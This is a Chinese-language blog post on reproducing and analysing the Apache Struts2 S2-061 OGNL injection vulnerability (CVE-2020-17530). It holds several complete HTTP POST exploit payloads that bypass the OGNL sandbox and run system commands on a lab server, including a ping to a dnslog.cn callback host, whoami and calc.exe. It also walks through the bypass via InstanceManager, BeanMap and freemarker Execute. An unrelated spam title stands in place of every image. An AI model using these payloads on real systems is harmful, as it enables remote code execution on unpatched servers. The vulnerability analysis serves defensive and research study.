加速度1g等于多少m/s2(s2线最新时刻表2024年)

影响范围

Struts 2.0.0 – Struts 2.5.25

漏洞类型

OGNL表达式解析

利用条件

开启altSyntax功能
标签属性中使用了`%{x}`且`x`的值用户可控

漏洞概述

Struts2会对某些标签属性(比如:\\’id\\’)的属性值进行二次表达式解析,因此当这些标签属性中使用了\\’%{x}\\’且\\’x\\’的值用户可控时,用户再传入一个\\’%{payload}\\’即可造成OGNL表达式执行,S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行,直到最新版本2.5.26版本中OGNL表达式的执行才得以修复

漏洞复现

简易测试

pom文件如下所示:

    <dependencies>        <dependency>            <groupId>org.apache.struts</groupId>            <artifactId>struts2-core</artifactId>            <version>2.5.25</version>        </dependency>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.2</version>        </dependency>    </dependencies>

之后启动Tomcat并在浏览器中访问:

之后访问一下URL进行简易测试:

加速度1g等于多少m/s2(s2线最新时刻表2024年)

命令执行
SSRF测试
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 846
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name=\\\"id\\\"
%{(#instancemanager=#application[\\\"org.apache.tomcat.InstanceManager\\\"]).(#stack=#attr[\\\"com.opensymphony.xwork2.util.ValueStack.ValueStack\\\"]).(#bean=#instancemanager.newInstance(\\\"org.apache.commons.collections.BeanMap\\\")).(#bean.setBean(#stack)).(#context=#bean.get(\\\"context\\\")).(#bean.setBean(#context)).(#macc=#bean.get(\\\"memberAccess\\\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\\\"java.util.HashSet\\\")).(#bean.put(\\\"excludedClasses\\\",#emptyset)).(#bean.put(\\\"excludedPackageNames\\\",#emptyset)).(#arglist=#instancemanager.newInstance(\\\"java.util.ArrayList\\\")).(#arglist.add(\\\"ping 4ofoqe.dnslog.cn\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute\\\")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

加速度1g等于多少m/s2(s2线最新时刻表2024年)

DNSLog回显:

加速度1g等于多少m/s2(s2线最新时刻表2024年)

执行系统命令

POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name=\\\"id\\\"
%{(#instancemanager=#application[\\\"org.apache.tomcat.InstanceManager\\\"]).(#stack=#attr[\\\"com.opensymphony.xwork2.util.ValueStack.ValueStack\\\"]).(#bean=#instancemanager.newInstance(\\\"org.apache.commons.collections.BeanMap\\\")).(#bean.setBean(#stack)).(#context=#bean.get(\\\"context\\\")).(#bean.setBean(#context)).(#macc=#bean.get(\\\"memberAccess\\\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\\\"java.util.HashSet\\\")).(#bean.put(\\\"excludedClasses\\\",#emptyset)).(#bean.put(\\\"excludedPackageNames\\\",#emptyset)).(#arglist=#instancemanager.newInstance(\\\"java.util.ArrayList\\\")).(#arglist.add(\\\"whoami\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute\\\")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

加速度1g等于多少m/s2(s2线最新时刻表2024年)

弹计算器测试

POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 833
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name=\\\"id\\\"
%{(#instancemanager=#application[\\\"org.apache.tomcat.InstanceManager\\\"]).(#stack=#attr[\\\"com.opensymphony.xwork2.util.ValueStack.ValueStack\\\"]).(#bean=#instancemanager.newInstance(\\\"org.apache.commons.collections.BeanMap\\\")).(#bean.setBean(#stack)).(#context=#bean.get(\\\"context\\\")).(#bean.setBean(#context)).(#macc=#bean.get(\\\"memberAccess\\\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\\\"java.util.HashSet\\\")).(#bean.put(\\\"excludedClasses\\\",#emptyset)).(#bean.put(\\\"excludedPackageNames\\\",#emptyset)).(#arglist=#instancemanager.newInstance(\\\"java.util.ArrayList\\\")).(#arglist.add(\\\"calc.exe\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute\\\")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

加速度1g等于多少m/s2(s2线最新时刻表2024年)

加速度1g等于多少m/s2(s2线最新时刻表2024年)

其他方式
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1365
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name=\\\"id\\\"
%{(#request.map=#application.get(\\\'org.apache.tomcat.InstanceManager\\\').newInstance(\\\'org.apache.commons.collections.BeanMap\\\')).toString().substring(0,0) + (#request.map.setBean(#request.get(\\\'struts.valueStack\\\')) == true).toString().substring(0,0) + (#request.map2=#application.get(\\\'org.apache.tomcat.InstanceManager\\\').newInstance(\\\'org.apache.commons.collections.BeanMap\\\')).toString().substring(0,0) +(#request.map2.setBean(#request.get(\\\'map\\\').get(\\\'context\\\')) == true).toString().substring(0,0) + (#request.map3=#application.get(\\\'org.apache.tomcat.InstanceManager\\\').newInstance(\\\'org.apache.commons.collections.BeanMap\\\')).toString().substring(0,0) + (#request.map3.setBean(#request.get(\\\'map2\\\').get(\\\'memberAccess\\\')) == true).toString().substring(0,0) + (#request.get(\\\'map3\\\').put(\\\'excludedPackageNames\\\',#application.get(\\\'org.apache.tomcat.InstanceManager\\\').newInstance(\\\'java.util.HashSet\\\')) == true).toString().substring(0,0) + (#request.get(\\\'map3\\\').put(\\\'excludedClasses\\\',#application.get(\\\'org.apache.tomcat.InstanceManager\\\').newInstance(\\\'java.util.HashSet\\\')) == true).toString().substring(0,0) +(#application.get(\\\'org.apache.tomcat.InstanceManager\\\').newInstance(\\\'freemarker.template.utility.Execute\\\').exec({\\\'whoami\\\'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

加速度1g等于多少m/s2(s2线最新时刻表2024年)

调试分析

首先我们看一下在Struts 2.5.25的Struts-default.xml文件中沙盒的限制:

    <constant name=\\\"struts.excludedClasses\\\"              value=\\\"                java.lang.Object,                java.lang.Runtime,                java.lang.System,                java.lang.Class,                java.lang.ClassLoader,                java.lang.Shutdown,                java.lang.ProcessBuilder,                sun.misc.Unsafe,                com.opensymphony.xwork2.ActionContext\\\" />
<!-- this must be valid regex, each \\\'.\\\' in package name must be escaped! --> <!-- it\\\'s more flexible but slower than simple string comparison --> <!-- constant name=\\\"struts.excludedPackageNamePatterns\\\" value=\\\"^java\\\\.lang\\\\..*,^ognl.*,^(?!javax\\\\.servlet\\\\..+)(javax\\\\..+)\\\" / -->
<!-- this is simpler version of the above used with string comparison --> <constant name=\\\"struts.excludedPackageNames\\\" value=\\\" ognl., java.io., java.net., java.nio., javax., freemarker.core., freemarker.template., freemarker.ext.jsp., freemarker.ext.rhino., sun.misc., sun.reflect., javassist., org.apache.velocity., org.objectweb.asm., org.springframework.context., com.opensymphony.xwork2.inject., com.opensymphony.xwork2.ognl., com.opensymphony.xwork2.security., com.opensymphony.xwork2.util.\\\" />

总体限制归纳如下:

  • 无法new一个对象

  • 无法使用反射机制

  • 无法直接执行命令

  • 无法调用静态方法

  • 无法调用方法属性非public的方法

  • 无法调用黑名单类和包的方法、属性

同时在struts2在ognl.OgnlRuntime#invokeMethod中ban掉了常用的class,所以即使绕过了沙盒也不能直接调用这些类:

   public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {        if (_useStricterInvocation) {            Class methodDeclaringClass = method.getDeclaringClass();            if (AO_SETACCESSIBLE_REF != null                 && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null                 && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null                 && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null                 && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {                throw new IllegalAccessException(\\\"Method [\\\" + method + \\\"] cannot be called from within OGNL invokeMethod() under stricter invocation mode.\\\");            }        }
boolean syncInvoke; boolean checkPermission; synchronized(method) { Boolean methodAccessCacheValue = (Boolean)_methodAccessCache.get(method); if (methodAccessCacheValue == null) { if (Modifier.isPublic(method.getModifiers())&& Modifier.isPublic(method.getDeclaringClass().getModifiers())) { methodAccessCacheValue = Boolean.FALSE; _methodAccessCache.put(method, methodAccessCacheValue); } else if (!method.isAccessible()) { methodAccessCacheValue = Boolean.TRUE; _methodAccessCache.put(method, methodAccessCacheValue); } else { methodAccessCacheValue = Boolean.FALSE; _methodAccessCache.put(method, methodAccessCacheValue); } }
syncInvoke = Boolean.TRUE.equals(methodAccessCacheValue); Boolean methodPermCacheValue = (Boolean)_methodPermCache.get(method); if (methodPermCacheValue == null) { if (_securityManager != null) { try { _securityManager.checkPermission(getPermission(method)); methodPermCacheValue = Boolean.TRUE; _methodPermCache.put(method, methodPermCacheValue); } catch (SecurityException var22) { methodPermCacheValue = Boolean.FALSE; _methodPermCache.put(method, methodPermCacheValue); throw new IllegalAccessException(\\\"Method [\\\" + method + \\\"] cannot be accessed.\\\"); } } else { methodPermCacheValue = Boolean.TRUE; _methodPermCache.put(method, methodPermCacheValue); } }
checkPermission = Boolean.FALSE.equals(methodPermCacheValue); }
Object result; if (syncInvoke) { synchronized(method) { if (checkPermission) { try { _securityManager.checkPermission(getPermission(method)); } catch (SecurityException var19) { throw new IllegalAccessException(\\\"Method [\\\" + method + \\\"] cannot be accessed.\\\"); } }
_accessibleObjectHandler.setAccessible(method, true);
try { result = invokeMethodInsideSandbox(target, method, argsArray); } finally { _accessibleObjectHandler.setAccessible(method, false); } } } else { if (checkPermission) { try { _securityManager.checkPermission(getPermission(method)); } catch (SecurityException var21) { throw new IllegalAccessException(\\\"Method [\\\" + method + \\\"] cannot be accessed.\\\"); } }
result = invokeMethodInsideSandbox(target, method, argsArray); }
return result; }

通过分析发现OGNL并没有限制如下操作:

  • 对象属性setter/getter(public)赋/取值,可以访问静态属性

  • 已实例类的方法调用(OgnlContext中的对象),不允许调用静态方法

下面我们通过对网络中公开的EXP进行一个简易的分析来对该漏洞的沙盒绕过进行一个简单的分析,首先可以看到的是在EXP中#application为org.apache.tomcat.InstanceManager,其键值为org.apache.catalina.core.DefaultInstanceManager的实例化对象:

加速度1g等于多少m/s2(s2线最新时刻表2024年)

该类有一个newInstance方法,它可以实例化任意无参构造方法的类并返回,也就是说我们现在绕过了无法new一个对象的限制,不过这个对象必须存在public的无参构造方法:

加速度1g等于多少m/s2(s2线最新时刻表2024年)

那么我们如何获取到OgnlContext呢?在S2-057中采取的措施是通过#attr 、#request等map对象中的struts.valueStack间接获取OgnlContext ,而在S2-057的补丁中把com.opensymphony.xwork2.ognl.加入到了黑名单,所以不能调用OgnlValueStack的getContext方法,不过我们可以利用实例化任意无参构造方法条件调用一些方法,间接的帮我们获取到OgnlContext,于是注意到了EXP中的org.apache.commons.collections.BeanMap

加速度1g等于多少m/s2(s2线最新时刻表2024年)

在这里我们着重关注一下setBean方法:

加速度1g等于多少m/s2(s2线最新时刻表2024年)

跟进这里的this.reinitialise(),之后继续跟进this.initialise()方法

加速度1g等于多少m/s2(s2线最新时刻表2024年)

可以看到它会把传入对象对应的class当做bean,提取get和set方法以及name赋值进readMethods和writeMethods

加速度1g等于多少m/s2(s2线最新时刻表2024年)

看一下其get方法,这里会根据我们传入的name调用readMethods中对应的getXxx方法:

加速度1g等于多少m/s2(s2线最新时刻表2024年)

加速度1g等于多少m/s2(s2线最新时刻表2024年)

而com.opensymphony.xwork2.ognl.OgnlValueStack中存在getContext方法,因此我们可以拿到OgnlValueStack后,利用 BeanMap间接获取到OgnlContext:

加速度1g等于多少m/s2(s2线最新时刻表2024年)

并利用put方法调用setExcludedClasses和setExcludedPackageNames覆盖掉黑名单

之前提到过最新的struts2即使绕过了沙盒依然不能直接调用常用的类来进行利用,但是我们清空了黑名单之后就可以实例化任意黑名单中的类,看下黑明单包中的类freemarker.template.utility.Execute,存在无参构造方法Execute(),exec方法可以直接执行命令:

安全建议

升级到最新版本

参考链接

https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g

https://www.cnblogs.com/backlion/p/14122528.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34122.html

Like (0)
七芒星实验室的头像七芒星实验室
Previous 2024年4月14日
Next 2024年4月14日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注